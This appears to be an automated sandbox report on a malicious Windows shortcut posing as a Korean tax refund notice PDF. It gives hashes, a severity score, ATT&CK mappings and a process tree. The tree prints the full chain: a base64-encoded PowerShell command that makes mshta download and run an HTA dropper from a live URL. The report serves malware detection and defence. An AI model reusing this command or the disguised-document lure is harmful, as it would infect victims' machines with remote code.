5e3d06ff73a1d3f319ce18c488232024d54bd1a1a081beaf48bc63c271df3500

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/07/2026, 18:26

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General

Target
국세 환급금 지급 안내.pdf.lnk
Size 2KB
Sample260723-w3f47avcmf
SHA256 5e3d06ff73a1d3f319ce18c488232024d54bd1a1a081beaf48bc63c271df3500
MD5 8810e63282340859c556139c2ee7afd8
SHA1 05a00b8d34af2e9d0984aa4ea8d0d7559af07912
SHA512 0cb4674ce2d0e91a6950731de78fdb0ccb36964c4f100e6ae63cecfd177cedb76e5b8616b7dbfdc756a9300ebbe8281c1ad1cc54816884226c21184d9c50b374
TLSH
T17C5101121AF602AEF37387B257FB76196533F8749B07499C40D216001D61A14F876FBB
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://link24.kr/614Y8DU

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1988	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2356	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3260	powershell.exe
3260	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3260	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 3260	2356	cmd.exe	90
PID 3260 wrote to memory of 1988	3260	powershell.exe	91

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\국세 환급금 지급 안내.pdf.lnk"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACIAaAB0AHQAcABzADoALwAvAGwAaQBuAGsAMgA0AC4AawByAC8ANgAxADQAWQA4AEQAVQAiAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/614Y8DU
    3⤵
    - Badlisted process makes network request
    PID:1988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3260-2-0x00007FFE6947F000-0x00007FFE69480000-memory.dmp

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memory/3260-5-0x000001FEEF0E0000-0x000001FEEF102000-memory.dmp

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memory/3260-6-0x00007FFE692F0000-0x00007FFE69C94000-memory.dmp

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memory/3260-7-0x00007FFE692F0000-0x00007FFE69C94000-memory.dmp

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memory/3260-8-0x00007FFE692F0000-0x00007FFE69C94000-memory.dmp

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memory/3260-9-0x00007FFE692F0000-0x00007FFE69C94000-memory.dmp

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memory/3260-11-0x00007FFE692F0000-0x00007FFE69C94000-memory.dmp

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